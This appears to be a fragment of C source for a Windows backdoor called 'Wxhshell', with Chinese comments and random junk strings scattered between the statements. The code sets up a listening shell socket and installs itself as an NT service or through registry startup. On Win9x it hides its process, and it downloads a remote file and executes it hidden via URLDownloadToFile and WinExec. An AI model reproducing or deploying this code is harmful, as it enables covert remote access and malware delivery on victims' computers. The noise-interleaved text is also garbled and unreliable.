if(!hProcess) return 0; O?OG`{k y{#9&ct& if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8`Iz%rw&(J .Gcs/PN CloseHandle(hProcess); rk)h_zN nl/~7({ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #HyE-|_C if(hProcess==NULL) return 0; mGC! 7^_D` -oMp@2\e HMODULE hMod; 1=Y pNXX char procName[255]; =C4!h'hz unsigned long cbNeeded; /DxeG'O D=_FrEM_IA if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \ sc's7 @3Nvf}He CloseHandle(hProcess); Z~6PrM-M \wb0%>
0 if(strstr(procName,"services")) return 1; // 以服务启动 &Ndq^!e "yG*Kh7ur return 0; // 注册表启动 aQ#6PO7.Z } \eoJ6IRE\T P~9y}7Q\0 // 主模块
SUaXm#9 int StartWxhshell(LPSTR lpCmdLine) W</\F& { %Q. |qyq SOCKET wsl; Kn`-5{1B| BOOL val=TRUE; k3VRa|Y") int port=0; %(d0`9 struct sockaddr_in door; 17) `CM$<[ R.)w
l if(wscfg.ws_autoins) Install(); w<$0n#5 KlSg0s port=atoi(lpCmdLine); QQW]j;'~ a<Ksas'5S if(port<=0) port=wscfg.ws_port; %O02xr= o`%;*tx WSADATA data; h$_5)d~ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;Sw%t(@ ~(Xzm if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ^#p+#_*V setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;pVnBi
door.sin_family = AF_INET; x!;;;iS door.sin_addr.s_addr = inet_addr("127.0.0.1"); DU lvlQW door.sin_port = htons(port); [e?vqm . +xojnv if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /~}<[6ZGCY closesocket(wsl); h:~
8WV| return 1; )Bpvi4O } =b/:rSd$NA oQ/ Dg+Xp if(listen(wsl,2) == INVALID_SOCKET) { bPHtP\) closesocket(wsl); P> [,,w return 1; V2/?1 } D?`|`Mu Wxhshell(wsl); :7DXLI|L#? WSACleanup(); Mcm%G# Fh
U* mAX) return 0; 65>}Q.p -0:Equ?pz } dvPlKLp {qbxiL- // 以NT服务方式启动 jPA^SxM VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2x<4&^ { D!5{CQl DWORD status = 0; R,f"2
k DWORD specificError = 0xfffffff; =,G^GMi' b5t:">wC serviceStatus.dwServiceType = SERVICE_WIN32; MGfIA?u serviceStatus.dwCurrentState = SERVICE_START_PENDING; MVXy)9q serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :WHbwu,L$ serviceStatus.dwWin32ExitCode = 0; >A
?{cbJ serviceStatus.dwServiceSpecificExitCode = 0; K3-Cuku serviceStatus.dwCheckPoint = 0; .V.ga2+ serviceStatus.dwWaitHint = 0; _8ubo\M~ ]m@p? A$
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D+('1E? if (hServiceStatusHandle==0) return; s8|Fe_ 1ILAUtf) status = GetLastError(); % h"%G=: if (status!=NO_ERROR) d 8%sGH { P-)`FB serviceStatus.dwCurrentState = SERVICE_STOPPED; $ i;_yTht serviceStatus.dwCheckPoint = 0; hYY-Eq4TC serviceStatus.dwWaitHint = 0; 1YJ@9 *l serviceStatus.dwWin32ExitCode = status; Y7WU4He L serviceStatus.dwServiceSpecificExitCode = specificError; = @n `5g SetServiceStatus(hServiceStatusHandle, &serviceStatus); rO7[{<97m return; ZP;WXB` } xn,I<dL39 .$N8cYu0 serviceStatus.dwCurrentState = SERVICE_RUNNING; [E6ZmMB& serviceStatus.dwCheckPoint = 0; JxLSQ-" serviceStatus.dwWaitHint = 0; ^zVW 3Y q if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &7L g)PG } IfzZ\x
. SeIL // 处理NT服务事件,比如:启动、停止 #B&%Y6E5 VOID WINAPI NTServiceHandler(DWORD fdwControl) Y JMaIFt { 3&"+)*/ m switch(fdwControl) $@@@</VbP { y.+!+4Mg| case SERVICE_CONTROL_STOP: X-}]?OOs serviceStatus.dwWin32ExitCode = 0; ,pR.HCR#Y serviceStatus.dwCurrentState = SERVICE_STOPPED; }CB9H$FkCY serviceStatus.dwCheckPoint = 0; jV~+=(w) serviceStatus.dwWaitHint = 0; Pe)SugCs { TDZ p1zpXb SetServiceStatus(hServiceStatusHandle, &serviceStatus); =v49[i } ~xU\%@I\ return; B> V)6\ case SERVICE_CONTROL_PAUSE: 9
gWqs' serviceStatus.dwCurrentState = SERVICE_PAUSED; /j;HM[ break; pfF2!`7pI case SERVICE_CONTROL_CONTINUE: c);vl% serviceStatus.dwCurrentState = SERVICE_RUNNING; 9Je+|+s] break; h$$2(!G4 case SERVICE_CONTROL_INTERROGATE: Bf8[(oc~ break; W~d^ *LZt }; re@;6o SetServiceStatus(hServiceStatusHandle, &serviceStatus); +!eh\.u|] } %{ +>\0x X^7n/|%*. // 标准应用程序主函数 ]Pf!wv int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) N.dcQQ_iS { jWcfQ cxc-|Xori // 获取操作系统版本 ?eOw8Rom OsIsNt=GetOsVer(); Y20T$5{# GetModuleFileName(NULL,ExeFile,MAX_PATH); Q1[EiM3 8&c:73=?X // 从命令行安装 xy+hrbD)j if(strpbrk(lpCmdLine,"iI")) Install(); " mB
/" 2*TPW // 下载执行文件 E3QyiW if(wscfg.ws_downexe) { L)9uBdF if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U)] }EgpF WinExec(wscfg.ws_filenam,SW_HIDE); ,| ~Pa } CM4#Nn=i~ O[W/=j[ if(!OsIsNt) { Hl=M{)q@ // 如果时win9x,隐藏进程并且设置为注册表启动 .RN2os{ HideProc(); uy8mhB+] StartWxhshell(lpCmdLine); uL
|O< } Z=zD~ka else g4}K6)@ if(StartFromService()) 7O<K?;I // 以服务方式启动 w 3$9 StartServiceCtrlDispatcher(DispatchTable); 67]!xy else b/obHB+: // 普通方式启动 H'%#71 StartWxhshell(lpCmdLine); QS%t:,0lp
/PZxF return 0; ~=gpn|@b }
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